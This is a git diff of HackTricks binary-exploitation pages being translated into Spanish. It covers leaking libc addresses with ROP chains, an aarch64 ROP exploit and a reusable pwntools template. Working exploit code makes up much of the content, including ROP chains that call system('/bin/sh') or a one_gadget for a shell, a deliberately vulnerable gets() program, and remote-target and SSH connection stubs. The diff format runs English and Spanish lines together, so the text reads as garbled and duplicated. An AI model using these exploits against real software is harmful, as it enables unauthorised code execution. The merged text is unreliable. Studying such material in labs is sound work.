Este gadget cargará `x0` desde **`$sp + 0x78`** y luego cargará las direcciones x29 y x30 desde sp y saltará a x30. Así que con este gadget podemos **controlar el primer argumento y luego saltar a system**.
This gadget will load `x0` from **`$sp + 0x78`** and then load the addresses x29 and x30 form sp and jump to x30. So with this gadget we can **control the first argument and then jump to system**.
### Exploit ### Exploit
```python ```python
from pwn import * from pwn import *
from time import sleep from time import sleep
@ -172,15 +157,15 @@ p = process('./rop') # For local binary
libc = ELF("/usr/lib/aarch64-linux-gnu/libc.so.6") libc = ELF("/usr/lib/aarch64-linux-gnu/libc.so.6")
def leak_printf(payload, is_main_addr=False): def leak_printf(payload, is_main_addr=False):
p.sendlineafter(b">\n" ,payload) p.sendlineafter(b">\n" ,payload)
response = p.recvline().strip()[2:] #Remove new line and "0x" prefix response = p.recvline().strip()[2:] #Remove new line and "0x" prefix
if is_main_addr: if is_main_addr:
response = response[:-4] + b"0000" response = response[:-4] + b"0000"
return int(response, 16) return int(response, 16)
def expl_bof(payload): def expl_bof(payload):
p.recv() p.recv()
p.sendline(payload) p.sendline(payload)
# Get main address # Get main address
main_address = leak_printf(b"%21$p", True) main_address = leak_printf(b"%21$p", True)
@ -213,5 +198,4 @@ p.sendline(payload)
p.interactive() p.interactive()
``` ```
{{#include ../../../banners/hacktricks-training.md}} {{#include ../../../banners/hacktricks-training.md}}

View File

@ -1,84 +1,77 @@
# Leaking libc address with ROP # Filtrando la dirección de libc con ROP
{{#include ../../../../banners/hacktricks-training.md}} {{#include ../../../../banners/hacktricks-training.md}}
## Quick Resume ## Resumen Rápido
1. **Find** overflow **offset** 1. **Encontrar** el **offset** de desbordamiento
2. **Find** `POP_RDI` gadget, `PUTS_PLT` and `MAIN` gadgets 2. **Encontrar** el gadget `POP_RDI`, los gadgets `PUTS_PLT` y `MAIN`
3. Use previous gadgets lo **leak the memory address** of puts or another libc function and **find the libc version** ([donwload it](https://libc.blukat.me)) 3. Usar los gadgets anteriores para **filtrar la dirección de memoria** de puts u otra función de libc y **encontrar la versión de libc** ([descárgalo](https://libc.blukat.me))
4. With the library, **calculate the ROP and exploit it** 4. Con la biblioteca, **calcular el ROP y explotarlo**
## Other tutorials and binaries to practice ## Otros tutoriales y binarios para practicar
This tutorial is going to exploit the code/binary proposed in this tutorial: [https://tasteofsecurity.com/security/ret2libc-unknown-libc/](https://tasteofsecurity.com/security/ret2libc-unknown-libc/)\ Este tutorial va a explotar el código/binario propuesto en este tutorial: [https://tasteofsecurity.com/security/ret2libc-unknown-libc/](https://tasteofsecurity.com/security/ret2libc-unknown-libc/)\
Another useful tutorials: [https://made0x78.com/bseries-ret2libc/](https://made0x78.com/bseries-ret2libc/), [https://guyinatuxedo.github.io/08-bof_dynamic/csaw19_babyboi/index.html](https://guyinatuxedo.github.io/08-bof_dynamic/csaw19_babyboi/index.html) Otros tutoriales útiles: [https://made0x78.com/bseries-ret2libc/](https://made0x78.com/bseries-ret2libc/), [https://guyinatuxedo.github.io/08-bof_dynamic/csaw19_babyboi/index.html](https://guyinatuxedo.github.io/08-bof_dynamic/csaw19_babyboi/index.html)
## Code ## Código
Filename: `vuln.c`
Nombre del archivo: `vuln.c`
```c ```c
#include <stdio.h> #include <stdio.h>
int main() { int main() {
char buffer[32]; char buffer[32];
puts("Simple ROP.\n"); puts("Simple ROP.\n");
gets(buffer); gets(buffer);
return 0; return 0;
} }
``` ```
```bash ```bash
gcc -o vuln vuln.c -fno-stack-protector -no-pie gcc -o vuln vuln.c -fno-stack-protector -no-pie
``` ```
## ROP - Plantilla para filtrar LIBC
## ROP - Leaking LIBC template Descarga el exploit y colócalo en el mismo directorio que el binario vulnerable y proporciona los datos necesarios al script:
Download the exploit and place it in the same directory as the vulnerable binary and give the needed data to the script:
{{#ref}} {{#ref}}
rop-leaking-libc-template.md rop-leaking-libc-template.md
{{#endref}} {{#endref}}
## 1- Finding the offset ## 1- Encontrar el offset
The template need an offset before continuing with the exploit. If any is provided it will execute the necessary code to find it (by default `OFFSET = ""`):
La plantilla necesita un offset antes de continuar con el exploit. Si se proporciona alguno, ejecutará el código necesario para encontrarlo (por defecto `OFFSET = ""`):
```bash ```bash
################### ###################
### Find offset ### ### Find offset ###
################### ###################
OFFSET = ""#"A"*72 OFFSET = ""#"A"*72
if OFFSET == "": if OFFSET == "":
gdb.attach(p.pid, "c") #Attach and continue gdb.attach(p.pid, "c") #Attach and continue
payload = cyclic(1000) payload = cyclic(1000)
print(r.clean()) print(r.clean())
r.sendline(payload) r.sendline(payload)
#x/wx $rsp -- Search for bytes that crashed the application #x/wx $rsp -- Search for bytes that crashed the application
#cyclic_find(0x6161616b) # Find the offset of those bytes #cyclic_find(0x6161616b) # Find the offset of those bytes
return return
``` ```
**Ejecuta** `python template.py` se abrirá una consola GDB con el programa que se está bloqueando. Dentro de esa **consola GDB** ejecuta `x/wx $rsp` para obtener los **bytes** que iban a sobrescribir el RIP. Finalmente, obtén el **offset** usando una consola de **python**:
**Execute** `python template.py` a GDB console will be opened with the program being crashed. Inside that **GDB console** execute `x/wx $rsp` to get the **bytes** that were going to overwrite the RIP. Finally get the **offset** using a **python** console:
```python ```python
from pwn import * from pwn import *
cyclic_find(0x6161616b) cyclic_find(0x6161616b)
``` ```
![](<../../../../images/image (1007).png>) ![](<../../../../images/image (1007).png>)
After finding the offset (in this case 40) change the OFFSET variable inside the template using that value.\ Después de encontrar el offset (en este caso 40), cambia la variable OFFSET dentro de la plantilla usando ese valor.\
`OFFSET = "A" * 40` `OFFSET = "A" * 40`
Another way would be to use: `pattern create 1000` -- _execute until ret_ -- `pattern seach $rsp` from GEF. Otra forma sería usar: `pattern create 1000` -- _ejecutar hasta ret_ -- `pattern seach $rsp` desde GEF.
## 2- Finding Gadgets ## 2- Encontrando Gadgets
Now we need to find ROP gadgets inside the binary. This ROP gadgets will be useful to call `puts`to find the **libc** being used, and later to **launch the final exploit**.
Ahora necesitamos encontrar gadgets ROP dentro del binario. Estos gadgets ROP serán útiles para llamar a `puts` para encontrar la **libc** que se está utilizando, y más tarde para **lanzar el exploit final**.
```python ```python
PUTS_PLT = elf.plt['puts'] #PUTS_PLT = elf.symbols["puts"] # This is also valid to call puts PUTS_PLT = elf.plt['puts'] #PUTS_PLT = elf.symbols["puts"] # This is also valid to call puts
MAIN_PLT = elf.symbols['main'] MAIN_PLT = elf.symbols['main']
@ -89,108 +82,98 @@ log.info("Main start: " + hex(MAIN_PLT))
log.info("Puts plt: " + hex(PUTS_PLT)) log.info("Puts plt: " + hex(PUTS_PLT))
log.info("pop rdi; ret gadget: " + hex(POP_RDI)) log.info("pop rdi; ret gadget: " + hex(POP_RDI))
``` ```
El `PUTS_PLT` es necesario para llamar a la **función puts**.\
El `MAIN_PLT` es necesario para llamar a la **función main** nuevamente después de una interacción para **explotar** el desbordamiento **nuevamente** (rondas infinitas de explotación). **Se utiliza al final de cada ROP para llamar al programa nuevamente**.\
El **POP_RDI** es necesario para **pasar** un **parámetro** a la función llamada.
The `PUTS_PLT` is needed to call the **function puts**.\ En este paso no necesitas ejecutar nada, ya que todo será encontrado por pwntools durante la ejecución.
The `MAIN_PLT` is needed to call the **main function** again after one interaction to **exploit** the overflow **again** (infinite rounds of exploitation). **It is used at the end of each ROP to call the program again**.\
The **POP_RDI** is needed to **pass** a **parameter** to the called function.
In this step you don't need to execute anything as everything will be found by pwntools during the execution. ## 3- Encontrar la biblioteca libc
## 3- Finding libc library
Now is time to find which version of the **libc** library is being used. To do so we are going to **leak** the **address** in memory of the **function** `puts`and then we are going to **search** in which **library version** the puts version is in that address.
Ahora es el momento de encontrar qué versión de la **libc** se está utilizando. Para hacerlo, vamos a **filtrar** la **dirección** en memoria de la **función** `puts` y luego vamos a **buscar** en qué **versión de la biblioteca** se encuentra la versión de puts en esa dirección.
```python ```python
def get_addr(func_name): def get_addr(func_name):
FUNC_GOT = elf.got[func_name] FUNC_GOT = elf.got[func_name]
log.info(func_name + " GOT @ " + hex(FUNC_GOT)) log.info(func_name + " GOT @ " + hex(FUNC_GOT))
# Create rop chain # Create rop chain
rop1 = OFFSET + p64(POP_RDI) + p64(FUNC_GOT) + p64(PUTS_PLT) + p64(MAIN_PLT) rop1 = OFFSET + p64(POP_RDI) + p64(FUNC_GOT) + p64(PUTS_PLT) + p64(MAIN_PLT)
#Send our rop-chain payload #Send our rop-chain payload
#p.sendlineafter("dah?", rop1) #Interesting to send in a specific moment #p.sendlineafter("dah?", rop1) #Interesting to send in a specific moment
print(p.clean()) # clean socket buffer (read all and print) print(p.clean()) # clean socket buffer (read all and print)
p.sendline(rop1) p.sendline(rop1)
#Parse leaked address #Parse leaked address
recieved = p.recvline().strip() recieved = p.recvline().strip()
leak = u64(recieved.ljust(8, "\x00")) leak = u64(recieved.ljust(8, "\x00"))
log.info("Leaked libc address, "+func_name+": "+ hex(leak)) log.info("Leaked libc address, "+func_name+": "+ hex(leak))
#If not libc yet, stop here #If not libc yet, stop here
if libc != "": if libc != "":
libc.address = leak - libc.symbols[func_name] #Save libc base libc.address = leak - libc.symbols[func_name] #Save libc base
log.info("libc base @ %s" % hex(libc.address)) log.info("libc base @ %s" % hex(libc.address))
return hex(leak) return hex(leak)
get_addr("puts") #Search for puts address in memmory to obtains libc base get_addr("puts") #Search for puts address in memmory to obtains libc base
if libc == "": if libc == "":
print("Find the libc library and continue with the exploit... (https://libc.blukat.me/)") print("Find the libc library and continue with the exploit... (https://libc.blukat.me/)")
p.interactive() p.interactive()
``` ```
Para hacerlo, la línea más importante del código ejecutado es:
To do so, the most important line of the executed code is:
```python ```python
rop1 = OFFSET + p64(POP_RDI) + p64(FUNC_GOT) + p64(PUTS_PLT) + p64(MAIN_PLT) rop1 = OFFSET + p64(POP_RDI) + p64(FUNC_GOT) + p64(PUTS_PLT) + p64(MAIN_PLT)
``` ```
Esto enviará algunos bytes hasta que **sobrescribir** el **RIP** sea posible: `OFFSET`.\
Luego, se establecerá la **dirección** del gadget `POP_RDI` para que la siguiente dirección (`FUNC_GOT`) se guarde en el registro **RDI**. Esto se debe a que queremos **llamar a puts** **pasándole** la **dirección** de `PUTS_GOT` ya que la dirección en memoria de la función puts se guarda en la dirección apuntada por `PUTS_GOT`.\
Después de eso, se llamará a `PUTS_PLT` (con `PUTS_GOT` dentro del **RDI**) para que puts **lea el contenido** dentro de `PUTS_GOT` (**la dirección de la función puts en memoria**) y lo **imprima**.\
Finalmente, **la función main se llama de nuevo** para que podamos explotar el desbordamiento nuevamente.
This will send some bytes util **overwriting** the **RIP** is possible: `OFFSET`.\ De esta manera hemos **engañado a la función puts** para que **imprima** la **dirección** en **memoria** de la función **puts** (que está dentro de la biblioteca **libc**). Ahora que tenemos esa dirección, podemos **buscar qué versión de libc se está utilizando**.
Then, it will set the **address** of the gadget `POP_RDI` so the next address (`FUNC_GOT`) will be saved in the **RDI** registry. This is because we want to **call puts** **passing** it the **address** of the `PUTS_GOT`as the address in memory of puts function is saved in the address pointing by `PUTS_GOT`.\
After that, `PUTS_PLT` will be called (with `PUTS_GOT` inside the **RDI**) so puts will **read the content** inside `PUTS_GOT` (**the address of puts function in memory**) and will **print it out**.\
Finally, **main function is called again** so we can exploit the overflow again.
This way we have **tricked puts function** to **print** out the **address** in **memory** of the function **puts** (which is inside **libc** library). Now that we have that address we can **search which libc version is being used**.
![](<../../../../images/image (1049).png>) ![](<../../../../images/image (1049).png>)
As we are **exploiting** some **local** binary it is **not needed** to figure out which version of **libc** is being used (just find the library in `/lib/x86_64-linux-gnu/libc.so.6`).\ Como estamos **explotando** algún binario **local**, **no es necesario** averiguar qué versión de **libc** se está utilizando (solo encuentra la biblioteca en `/lib/x86_64-linux-gnu/libc.so.6`).\
But, in a remote exploit case I will explain here how can you find it: Pero, en un caso de explotación remota, explicaré aquí cómo puedes encontrarla:
### 3.1- Searching for libc version (1) ### 3.1- Buscando la versión de libc (1)
You can search which library is being used in the web page: [https://libc.blukat.me/](https://libc.blukat.me)\ Puedes buscar qué biblioteca se está utilizando en la página web: [https://libc.blukat.me/](https://libc.blukat.me)\
It will also allow you to download the discovered version of **libc** También te permitirá descargar la versión descubierta de **libc**
![](<../../../../images/image (221).png>) ![](<../../../../images/image (221).png>)
### 3.2- Searching for libc version (2) ### 3.2- Buscando la versión de libc (2)
You can also do: También puedes hacer:
- `$ git clone https://github.com/niklasb/libc-database.git` - `$ git clone https://github.com/niklasb/libc-database.git`
- `$ cd libc-database` - `$ cd libc-database`
- `$ ./get` - `$ ./get`
This will take some time, be patient.\ Esto tomará algo de tiempo, ten paciencia.\
For this to work we need: Para que esto funcione necesitamos:
- Libc symbol name: `puts` - Nombre del símbolo de libc: `puts`
- Leaked libc adddress: `0x7ff629878690` - Dirección de libc filtrada: `0x7ff629878690`
We can figure out which **libc** that is most likely used.
Podemos averiguar qué **libc** es la que probablemente se está utilizando.
```bash ```bash
./find puts 0x7ff629878690 ./find puts 0x7ff629878690
ubuntu-xenial-amd64-libc6 (id libc6_2.23-0ubuntu10_amd64) ubuntu-xenial-amd64-libc6 (id libc6_2.23-0ubuntu10_amd64)
archive-glibc (id libc6_2.23-0ubuntu11_amd64) archive-glibc (id libc6_2.23-0ubuntu11_amd64)
``` ```
Obtenemos 2 coincidencias (deberías probar la segunda si la primera no funciona). Descarga la primera:
We get 2 matches (you should try the second one if the first one is not working). Download the first one:
```bash ```bash
./download libc6_2.23-0ubuntu10_amd64 ./download libc6_2.23-0ubuntu10_amd64
Getting libc6_2.23-0ubuntu10_amd64 Getting libc6_2.23-0ubuntu10_amd64
-> Location: http://security.ubuntu.com/ubuntu/pool/main/g/glibc/libc6_2.23-0ubuntu10_amd64.deb -> Location: http://security.ubuntu.com/ubuntu/pool/main/g/glibc/libc6_2.23-0ubuntu10_amd64.deb
-> Downloading package -> Downloading package
-> Extracting package -> Extracting package
-> Package saved to libs/libc6_2.23-0ubuntu10_amd64 -> Package saved to libs/libc6_2.23-0ubuntu10_amd64
``` ```
Copia la libc de `libs/libc6_2.23-0ubuntu10_amd64/libc-2.23.so` a nuestro directorio de trabajo.
Copy the libc from `libs/libc6_2.23-0ubuntu10_amd64/libc-2.23.so` to our working directory. ### 3.3- Otras funciones para filtrar
### 3.3- Other functions to leak
```python ```python
puts puts
printf printf
@ -198,28 +181,24 @@ __libc_start_main
read read
gets gets
``` ```
## 4- Encontrar la dirección de libc basada y explotar
## 4- Finding based libc address & exploiting En este punto, deberíamos conocer la biblioteca libc utilizada. Como estamos explotando un binario local, usaré solo: `/lib/x86_64-linux-gnu/libc.so.6`
At this point we should know the libc library used. As we are exploiting a local binary I will use just:`/lib/x86_64-linux-gnu/libc.so.6` Así que, al principio de `template.py`, cambia la variable **libc** a: `libc = ELF("/lib/x86_64-linux-gnu/libc.so.6") #Establecer la ruta de la biblioteca cuando se conozca`
So, at the beginning of `template.py` change the **libc** variable to: `libc = ELF("/lib/x86_64-linux-gnu/libc.so.6") #Set library path when know it` Al dar la **ruta** a la **biblioteca libc**, el resto de la **explotación se calculará automáticamente**.
Giving the **path** to the **libc library** the rest of the **exploit is going to be automatically calculated**.
Inside the `get_addr`function the **base address of libc** is going to be calculated:
Dentro de la función `get_addr`, se calculará la **dirección base de libc**:
```python ```python
if libc != "": if libc != "":
libc.address = leak - libc.symbols[func_name] #Save libc base libc.address = leak - libc.symbols[func_name] #Save libc base
log.info("libc base @ %s" % hex(libc.address)) log.info("libc base @ %s" % hex(libc.address))
``` ```
> [!NOTE] > [!NOTE]
> Note that **final libc base address must end in 00**. If that's not your case you might have leaked an incorrect library. > Tenga en cuenta que **la dirección base final de libc debe terminar en 00**. Si ese no es su caso, es posible que haya filtrado una biblioteca incorrecta.
Then, the address to the function `system` and the **address** to the string _"/bin/sh"_ are going to be **calculated** from the **base address** of **libc** and given the **libc library.**
Luego, la dirección de la función `system` y la **dirección** de la cadena _"/bin/sh"_ se van a **calcular** a partir de la **dirección base** de **libc** y dada la **biblioteca libc.**
```python ```python
BINSH = next(libc.search("/bin/sh")) - 64 #Verify with find /bin/sh BINSH = next(libc.search("/bin/sh")) - 64 #Verify with find /bin/sh
SYSTEM = libc.sym["system"] SYSTEM = libc.sym["system"]
@ -228,9 +207,7 @@ EXIT = libc.sym["exit"]
log.info("bin/sh %s " % hex(BINSH)) log.info("bin/sh %s " % hex(BINSH))
log.info("system %s " % hex(SYSTEM)) log.info("system %s " % hex(SYSTEM))
``` ```
Finalmente, se va a preparar el exploit de ejecución /bin/sh:
Finally, the /bin/sh execution exploit is going to be prepared sent:
```python ```python
rop2 = OFFSET + p64(POP_RDI) + p64(BINSH) + p64(SYSTEM) + p64(EXIT) rop2 = OFFSET + p64(POP_RDI) + p64(BINSH) + p64(SYSTEM) + p64(EXIT)
@ -240,65 +217,56 @@ p.sendline(rop2)
#### Interact with the shell ##### #### Interact with the shell #####
p.interactive() #Interact with the conenction p.interactive() #Interact with the conenction
``` ```
Vamos a explicar este ROP final.\
El último ROP (`rop1`) terminó llamando nuevamente a la función main, luego podemos **explotar nuevamente** el **desbordamiento** (por eso el `OFFSET` está aquí de nuevo). Luego, queremos llamar a `POP_RDI` apuntando a la **dirección** de _"/bin/sh"_ (`BINSH`) y llamar a la función **system** (`SYSTEM`) porque la dirección de _"/bin/sh"_ se pasará como un parámetro.\
Finalmente, se **llama** a la **dirección de la función exit** para que el proceso **salga correctamente** y no se genere ninguna alerta.
Let's explain this final ROP.\ **De esta manera, el exploit ejecutará un \_/bin/sh**\_\*\* shell.\*\*
The last ROP (`rop1`) ended calling again the main function, then we can **exploit again** the **overflow** (that's why the `OFFSET` is here again). Then, we want to call `POP_RDI` pointing to the **addres** of _"/bin/sh"_ (`BINSH`) and call **system** function (`SYSTEM`) because the address of _"/bin/sh"_ will be passed as a parameter.\
Finally, the **address of exit function** is **called** so the process **exists nicely** and any alert is generated.
**This way the exploit will execute a \_/bin/sh**\_\*\* shell.\*\*
![](<../../../../images/image (165).png>) ![](<../../../../images/image (165).png>)
## 4(2)- Using ONE_GADGET ## 4(2)- Usando ONE_GADGET
You could also use [**ONE_GADGET** ](https://github.com/david942j/one_gadget)to obtain a shell instead of using **system** and **"/bin/sh". ONE_GADGET** will find inside the libc library some way to obtain a shell using just one **ROP address**.\ También podrías usar [**ONE_GADGET** ](https://github.com/david942j/one_gadget) para obtener un shell en lugar de usar **system** y **"/bin/sh". ONE_GADGET** encontrará dentro de la biblioteca libc alguna forma de obtener un shell usando solo una **dirección ROP**.\
However, normally there are some constrains, the most common ones and easy to avoid are like `[rsp+0x30] == NULL` As you control the values inside the **RSP** you just have to send some more NULL values so the constrain is avoided. Sin embargo, normalmente hay algunas restricciones, las más comunes y fáciles de evitar son como `[rsp+0x30] == NULL`. Como controlas los valores dentro del **RSP**, solo tienes que enviar algunos valores NULL más para evitar la restricción.
![](<../../../../images/image (754).png>) ![](<../../../../images/image (754).png>)
```python ```python
ONE_GADGET = libc.address + 0x4526a ONE_GADGET = libc.address + 0x4526a
rop2 = base + p64(ONE_GADGET) + "\x00"*100 rop2 = base + p64(ONE_GADGET) + "\x00"*100
``` ```
## EXPLOIT FILE ## EXPLOIT FILE
You can find a template to exploit this vulnerability here: Puedes encontrar una plantilla para explotar esta vulnerabilidad aquí:
{{#ref}} {{#ref}}
rop-leaking-libc-template.md rop-leaking-libc-template.md
{{#endref}} {{#endref}}
## Common problems ## Problemas comunes
### MAIN_PLT = elf.symbols\['main'] not found ### MAIN_PLT = elf.symbols\['main'] no encontrado
If the "main" symbol does not exist. Then you can find where is the main code:
Si el símbolo "main" no existe. Entonces puedes encontrar dónde está el código principal:
```python ```python
objdump -d vuln_binary | grep "\.text" objdump -d vuln_binary | grep "\.text"
Disassembly of section .text: Disassembly of section .text:
0000000000401080 <.text>: 0000000000401080 <.text>:
``` ```
y establece la dirección manualmente:
and set the address manually:
```python ```python
MAIN_PLT = 0x401080 MAIN_PLT = 0x401080
``` ```
### Puts no encontrado
### Puts not found Si el binario no está utilizando Puts, deberías verificar si está utilizando
If the binary is not using Puts you should check if it is using ### `sh: 1: %s%s%s%s%s%s%s%s: no encontrado`
### `sh: 1: %s%s%s%s%s%s%s%s: not found` Si encuentras este **error** después de crear **todo** el exploit: `sh: 1: %s%s%s%s%s%s%s%s: no encontrado`
If you find this **error** after creating **all** the exploit: `sh: 1: %s%s%s%s%s%s%s%s: not found`
Try to **subtract 64 bytes to the address of "/bin/sh"**:
Intenta **restar 64 bytes a la dirección de "/bin/sh"**:
```python ```python
BINSH = next(libc.search("/bin/sh")) - 64 BINSH = next(libc.search("/bin/sh")) - 64
``` ```
{{#include ../../../../banners/hacktricks-training.md}} {{#include ../../../../banners/hacktricks-training.md}}

View File

@ -1,11 +1,6 @@
# Leaking libc - template # Filtrando libc - plantilla
{{#include ../../../../banners/hacktricks-training.md}} {{#include ../../../../banners/hacktricks-training.md}}
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %}
```python:template.py ```python:template.py
from pwn import ELF, process, ROP, remote, ssh, gdb, cyclic, cyclic_find, log, p64, u64 # Import pwntools from pwn import ELF, process, ROP, remote, ssh, gdb, cyclic, cyclic_find, log, p64, u64 # Import pwntools
@ -25,25 +20,25 @@ LIBC = "" #ELF("/lib/x86_64-linux-gnu/libc.so.6") #Set library path when know it
ENV = {"LD_PRELOAD": LIBC} if LIBC else {} ENV = {"LD_PRELOAD": LIBC} if LIBC else {}
if LOCAL: if LOCAL:
P = process(LOCAL_BIN, env=ENV) # start the vuln binary P = process(LOCAL_BIN, env=ENV) # start the vuln binary
ELF_LOADED = ELF(LOCAL_BIN)# Extract data from binary ELF_LOADED = ELF(LOCAL_BIN)# Extract data from binary
ROP_LOADED = ROP(ELF_LOADED)# Find ROP gadgets ROP_LOADED = ROP(ELF_LOADED)# Find ROP gadgets
elif REMOTETTCP: elif REMOTETTCP:
P = remote('10.10.10.10',1339) # start the vuln binary P = remote('10.10.10.10',1339) # start the vuln binary
ELF_LOADED = ELF(LOCAL_BIN)# Extract data from binary ELF_LOADED = ELF(LOCAL_BIN)# Extract data from binary
ROP_LOADED = ROP(ELF_LOADED)# Find ROP gadgets ROP_LOADED = ROP(ELF_LOADED)# Find ROP gadgets
elif REMOTESSH: elif REMOTESSH:
ssh_shell = ssh('bandit0', 'bandit.labs.overthewire.org', password='bandit0', port=2220) ssh_shell = ssh('bandit0', 'bandit.labs.overthewire.org', password='bandit0', port=2220)
p = ssh_shell.process(REMOTE_BIN) # start the vuln binary p = ssh_shell.process(REMOTE_BIN) # start the vuln binary
elf = ELF(LOCAL_BIN)# Extract data from binary elf = ELF(LOCAL_BIN)# Extract data from binary
rop = ROP(elf)# Find ROP gadgets rop = ROP(elf)# Find ROP gadgets
if GDB and not REMOTETTCP and not REMOTESSH: if GDB and not REMOTETTCP and not REMOTESSH:
# attach gdb and continue # attach gdb and continue
# You can set breakpoints, for example "break *main" # You can set breakpoints, for example "break *main"
gdb.attach(P.pid, "b *main") gdb.attach(P.pid, "b *main")
@ -53,15 +48,15 @@ if GDB and not REMOTETTCP and not REMOTESSH:
OFFSET = b"" #b"A"*264 OFFSET = b"" #b"A"*264
if OFFSET == b"": if OFFSET == b"":
gdb.attach(P.pid, "c") #Attach and continue gdb.attach(P.pid, "c") #Attach and continue
payload = cyclic(264) payload = cyclic(264)
payload += b"AAAAAAAA" payload += b"AAAAAAAA"
print(P.clean()) print(P.clean())
P.sendline(payload) P.sendline(payload)
#x/wx $rsp -- Search for bytes that crashed the application #x/wx $rsp -- Search for bytes that crashed the application
#print(cyclic_find(0x63616171)) # Find the offset of those bytes #print(cyclic_find(0x63616171)) # Find the offset of those bytes
P.interactive() P.interactive()
exit() exit()
@ -69,11 +64,11 @@ if OFFSET == b"":
### Find Gadgets ### ### Find Gadgets ###
#################### ####################
try: try:
libc_func = "puts" libc_func = "puts"
PUTS_PLT = ELF_LOADED.plt['puts'] #PUTS_PLT = ELF_LOADED.symbols["puts"] # This is also valid to call puts PUTS_PLT = ELF_LOADED.plt['puts'] #PUTS_PLT = ELF_LOADED.symbols["puts"] # This is also valid to call puts
except: except:
libc_func = "printf" libc_func = "printf"
PUTS_PLT = ELF_LOADED.plt['printf'] PUTS_PLT = ELF_LOADED.plt['printf']
MAIN_PLT = ELF_LOADED.symbols['main'] MAIN_PLT = ELF_LOADED.symbols['main']
POP_RDI = (ROP_LOADED.find_gadget(['pop rdi', 'ret']))[0] #Same as ROPgadget --binary vuln | grep "pop rdi" POP_RDI = (ROP_LOADED.find_gadget(['pop rdi', 'ret']))[0] #Same as ROPgadget --binary vuln | grep "pop rdi"
@ -90,54 +85,54 @@ log.info("ret gadget: " + hex(RET))
######################## ########################
def generate_payload_aligned(rop): def generate_payload_aligned(rop):
payload1 = OFFSET + rop payload1 = OFFSET + rop
if (len(payload1) % 16) == 0: if (len(payload1) % 16) == 0:
return payload1 return payload1
else: else:
payload2 = OFFSET + p64(RET) + rop payload2 = OFFSET + p64(RET) + rop
if (len(payload2) % 16) == 0: if (len(payload2) % 16) == 0:
log.info("Payload aligned successfully") log.info("Payload aligned successfully")
return payload2 return payload2
else: else:
log.warning(f"I couldn't align the payload! Len: {len(payload1)}") log.warning(f"I couldn't align the payload! Len: {len(payload1)}")
return payload1 return payload1
def get_addr(libc_func): def get_addr(libc_func):
FUNC_GOT = ELF_LOADED.got[libc_func] FUNC_GOT = ELF_LOADED.got[libc_func]
log.info(libc_func + " GOT @ " + hex(FUNC_GOT)) log.info(libc_func + " GOT @ " + hex(FUNC_GOT))
# Create rop chain # Create rop chain
rop1 = p64(POP_RDI) + p64(FUNC_GOT) + p64(PUTS_PLT) + p64(MAIN_PLT) rop1 = p64(POP_RDI) + p64(FUNC_GOT) + p64(PUTS_PLT) + p64(MAIN_PLT)
rop1 = generate_payload_aligned(rop1) rop1 = generate_payload_aligned(rop1)
# Send our rop-chain payload # Send our rop-chain payload
#P.sendlineafter("dah?", rop1) #Use this to send the payload when something is received #P.sendlineafter("dah?", rop1) #Use this to send the payload when something is received
print(P.clean()) # clean socket buffer (read all and print) print(P.clean()) # clean socket buffer (read all and print)
P.sendline(rop1) P.sendline(rop1)
# If binary is echoing back the payload, remove that message # If binary is echoing back the payload, remove that message
recieved = P.recvline().strip() recieved = P.recvline().strip()
if OFFSET[:30] in recieved: if OFFSET[:30] in recieved:
recieved = P.recvline().strip() recieved = P.recvline().strip()
# Parse leaked address # Parse leaked address
log.info(f"Len rop1: {len(rop1)}") log.info(f"Len rop1: {len(rop1)}")
leak = u64(recieved.ljust(8, b"\x00")) leak = u64(recieved.ljust(8, b"\x00"))
log.info(f"Leaked LIBC address, {libc_func}: {hex(leak)}") log.info(f"Leaked LIBC address, {libc_func}: {hex(leak)}")
# Set lib base address # Set lib base address
if LIBC: if LIBC:
LIBC.address = leak - LIBC.symbols[libc_func] #Save LIBC base LIBC.address = leak - LIBC.symbols[libc_func] #Save LIBC base
print("If LIBC base doesn't end end 00, you might be using an icorrect libc library") print("If LIBC base doesn't end end 00, you might be using an icorrect libc library")
log.info("LIBC base @ %s" % hex(LIBC.address)) log.info("LIBC base @ %s" % hex(LIBC.address))
# If not LIBC yet, stop here # If not LIBC yet, stop here
else: else:
print("TO CONTINUE) Find the LIBC library and continue with the exploit... (https://LIBC.blukat.me/)") print("TO CONTINUE) Find the LIBC library and continue with the exploit... (https://LIBC.blukat.me/)")
P.interactive() P.interactive()
return hex(leak) return hex(leak)
get_addr(libc_func) #Search for puts address in memmory to obtain LIBC base get_addr(libc_func) #Search for puts address in memmory to obtain LIBC base
@ -150,38 +145,38 @@ get_addr(libc_func) #Search for puts address in memmory to obtain LIBC base
## Via One_gadget (https://github.com/david942j/one_gadget) ## Via One_gadget (https://github.com/david942j/one_gadget)
# gem install one_gadget # gem install one_gadget
def get_one_gadgets(libc): def get_one_gadgets(libc):
import string, subprocess import string, subprocess
args = ["one_gadget", "-r"] args = ["one_gadget", "-r"]
if len(libc) == 40 and all(x in string.hexdigits for x in libc.hex()): if len(libc) == 40 and all(x in string.hexdigits for x in libc.hex()):
args += ["-b", libc.hex()] args += ["-b", libc.hex()]
else: else:
args += [libc] args += [libc]
try: try:
one_gadgets = [int(offset) for offset in subprocess.check_output(args).decode('ascii').strip().split()] one_gadgets = [int(offset) for offset in subprocess.check_output(args).decode('ascii').strip().split()]
except: except:
print("One_gadget isn't installed") print("One_gadget isn't installed")
one_gadgets = [] one_gadgets = []
return return
rop2 = b"" rop2 = b""
if USE_ONE_GADGET: if USE_ONE_GADGET:
one_gadgets = get_one_gadgets(LIBC) one_gadgets = get_one_gadgets(LIBC)
if one_gadgets: if one_gadgets:
rop2 = p64(one_gadgets[0]) + "\x00"*100 #Usually this will fullfit the constrains rop2 = p64(one_gadgets[0]) + "\x00"*100 #Usually this will fullfit the constrains
## Normal/Long exploitation ## Normal/Long exploitation
if not rop2: if not rop2:
BINSH = next(LIBC.search(b"/bin/sh")) #Verify with find /bin/sh BINSH = next(LIBC.search(b"/bin/sh")) #Verify with find /bin/sh
SYSTEM = LIBC.sym["system"] SYSTEM = LIBC.sym["system"]
EXIT = LIBC.sym["exit"] EXIT = LIBC.sym["exit"]
log.info("POP_RDI %s " % hex(POP_RDI)) log.info("POP_RDI %s " % hex(POP_RDI))
log.info("bin/sh %s " % hex(BINSH)) log.info("bin/sh %s " % hex(BINSH))
log.info("system %s " % hex(SYSTEM)) log.info("system %s " % hex(SYSTEM))
log.info("exit %s " % hex(EXIT)) log.info("exit %s " % hex(EXIT))
rop2 = p64(POP_RDI) + p64(BINSH) + p64(SYSTEM) #p64(EXIT) rop2 = p64(POP_RDI) + p64(BINSH) + p64(SYSTEM) #p64(EXIT)
